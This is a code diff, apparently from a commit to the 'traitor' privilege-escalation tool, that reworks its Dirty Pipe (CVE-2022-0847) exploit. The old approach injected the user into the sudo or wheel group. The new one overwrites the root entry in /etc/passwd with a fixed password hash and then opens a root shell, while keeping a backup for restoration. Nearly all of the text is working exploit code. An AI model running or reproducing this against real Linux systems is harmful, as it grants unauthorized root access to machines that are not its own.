@@ -5,15 +5,14 @@ import (
5
5
"errors"
6
6
"fmt"
7
7
"os"
8
- "os/exec"
9
- "os/user"
10
8
"regexp"
11
9
"strconv"
12
10
"strings"
13
11
"syscall"
14
12
15
13
"github.com/liamg/traitor/pkg/logger"
16
14
"github.com/liamg/traitor/pkg/payloads"
15
+ "github.com/liamg/traitor/pkg/shell"
17
16
"github.com/liamg/traitor/pkg/state"
18
17
"golang.org/x/sys/unix"
19
18
)
@@ -85,82 +84,31 @@ func (v *cve20220847Exploit) Exploit(ctx context.Context, s *state.State, log lo
85
84
86
85
v .log = log
87
86
88
- log .Printf ("Attempting to add user to sudoers via common groups ..." )
89
- u , err := user . Current ( )
87
+ log .Printf ("Attempting to set root password ..." )
88
+ passwdData , err := os . ReadFile ( "/etc/passwd" )
90
89
if err != nil {
91
90
return err
92
91
}
93
-
94
- groupData , err := os .ReadFile ("/etc/group" )
95
- if err != nil {
96
- return err
92
+ backup := string (passwdData )
93
+ if len (backup ) > 4095 {
94
+ backup = backup [:4095 ]
97
95
}
98
- backup := string (groupData )
99
- maxSize := 4096 - (len (u .Username ) + 1 )
100
- if len (groupData ) > maxSize {
101
- groupData = groupData [:maxSize ]
102
- }
103
-
104
- var injected []string
105
- var found bool
106
- for _ , line := range strings .Split (string (groupData ), "\n " ) {
107
- if ! found {
108
- parts := strings .Split (line , ":" )
109
- switch parts [0 ] {
110
- case "sudo" , "wheel" :
111
- log .Printf ("Found group: '%s'" , parts [0 ])
112
- found = true
113
- if parts [3 ] != "" {
114
- users := strings .Split (parts [3 ], "," )
115
- canAdd := true
116
- for _ , existing := range users {
117
- if existing == u .Username {
118
- log .Printf ("NOTE: Your user is already in the %s group - you can likely sudo already..." , parts [0 ])
119
- canAdd = false
120
-
121
- }
122
- }
123
- if ! canAdd {
124
- injected = append (injected , line )
125
- continue
126
- }
127
- line += ","
128
- }
129
- line += u .Username
130
- }
131
- }
132
- injected = append (injected , line )
133
- }
134
- if ! found {
135
- _ = found
136
- //return fmt.Errorf("could not find sudo or wheel group")
96
+ if string (passwdData [:4 ]) != "root" {
97
+ return fmt .Errorf ("unexpected data in /etc/passwd" )
137
98
}
138
- newData := []byte (strings .Join (injected , "\n " ) + "\n " )
139
-
140
- if err := v .writeToFile ("/etc/group" , 1 , newData [1 :]); err != nil {
99
+ rootLine := "root:$1$traitor$ELjiH/IyoHuVv5Hxiqam21:0:0::/root:/bin/sh\n "
100
+ if err := v .writeToFile ("/etc/passwd" , 4 , []byte (rootLine [4 :])); err != nil {
141
101
return fmt .Errorf ("failed to overwrite target file: %w" , err )
142
102
}
143
103
144
104
defer func () {
145
- log .Printf ("Restoring contents of /etc/group ..." )
146
- _ = v .writeToFile ("/etc/group " , 1 , []byte (backup )[1 :])
105
+ log .Printf ("Restoring contents of /etc/passwd ..." )
106
+ _ = v .writeToFile ("/etc/passwd " , 1 , []byte (backup )[1 :])
147
107
}()
148
108
149
- log .Printf ("Starting shell (you may need to enter your password)..." )
150
- log .Printf ("Please exit the shell once you are finished to ensure the contents of /etc/group is restored." )
151
- cmd := exec.Cmd {
152
- Path : "/bin/sh" ,
153
- Args : []string {"/bin/sh" , "-c" , "sudo" , "/bin/sh" },
154
- Env : os .Environ (),
155
- Dir : "/" ,
156
- Stdin : os .Stdin ,
157
- Stdout : os .Stdout ,
158
- Stderr : os .Stderr ,
159
- }
160
- if payload != "" {
161
- cmd .Args = append (cmd .Args , "-c" , string (payload ))
162
- }
163
- return cmd .Run ()
109
+ log .Printf ("Starting shell..." )
110
+ log .Printf ("Please exit the shell once you are finished to ensure the contents of /etc/passwd is restored." )
111
+ return shell .WithPassword ("root" , "traitor" , log )
164
112
}
165
113
166
114
func (v * cve20220847Exploit ) writeToFile (path string , offset int64 , data []byte ) error {
0 commit comments